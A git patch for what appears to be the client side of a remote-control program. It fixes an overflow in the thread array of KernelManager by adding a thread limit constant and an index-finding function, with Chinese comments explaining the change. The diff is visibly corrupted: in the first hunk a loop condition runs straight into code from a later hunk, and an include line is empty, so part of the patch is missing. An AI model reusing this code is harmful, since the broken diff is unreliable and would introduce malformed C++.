From 5b86910cb2acebf929e893f775852a541a1cb05c Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Tue, 24 Dec 2024 18:08:26 +0800 Subject: [PATCH] fix: client threads number excceeding bug --- client/KernelManager.cpp | 42 ++++++++++++++++++++++++++++------------ client/KernelManager.h | 9 +++++++-- 2 files changed, 37 insertions(+), 14 deletions(-) diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 02f4933..7b7de05 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -18,7 +18,7 @@ CKernelManager::~CKernelManager() { printf("~CKernelManager begin\n"); int i = 0; - for (i=0;i<0x1000;++i) + for (i=0;iOnServerSending((char*)&bToken, 1); m_bIsDead = 1; OutputDebugStringA("======> Client exit \n"); - m_hThread[m_ulThreadCount].p = NULL; - delete pNew; - pNew = NULL; break; } @@ -90,9 +110,6 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_ClientObject->OnServerSending((char*)&bToken, 1); m_bIsDead = 2; OutputDebugStringA("======> Server exit \n"); - m_hThread[m_ulThreadCount].p = NULL; - delete pNew; - pNew = NULL; break; } @@ -147,9 +164,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: { OutputDebugStringA("======> Error operator\n"); - m_hThread[m_ulThreadCount].p = NULL; - delete pNew; - pNew = NULL; + if (m_ulThreadCount != -1) { + delete m_hThread[m_ulThreadCount].p; + m_hThread[m_ulThreadCount].p = NULL; + } break; } } diff --git a/client/KernelManager.h b/client/KernelManager.h index 873a160..2c78dd7 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -12,7 +12,9 @@ #include "Manager.h" #include -// 线程信息结构体 +#define MAX_THREADNUM 0x1000 + +// 线程信息结构体, 包含3个成员: 运行状态(run)、句柄(h)和通讯客户端(p). struct ThreadInfo { BOOL run; @@ -28,8 +30,11 @@ public: virtual ~CKernelManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - ThreadInfo m_hThread[0x1000]; + ThreadInfo m_hThread[MAX_THREADNUM]; + // 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常 + // 因此我将此值的含义修改为"可用线程下标",代表数组m_hThread中所指位置可用,即创建新的线程放置在该位置 ULONG m_ulThreadCount; + UINT GetAvailableIndex(); }; #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)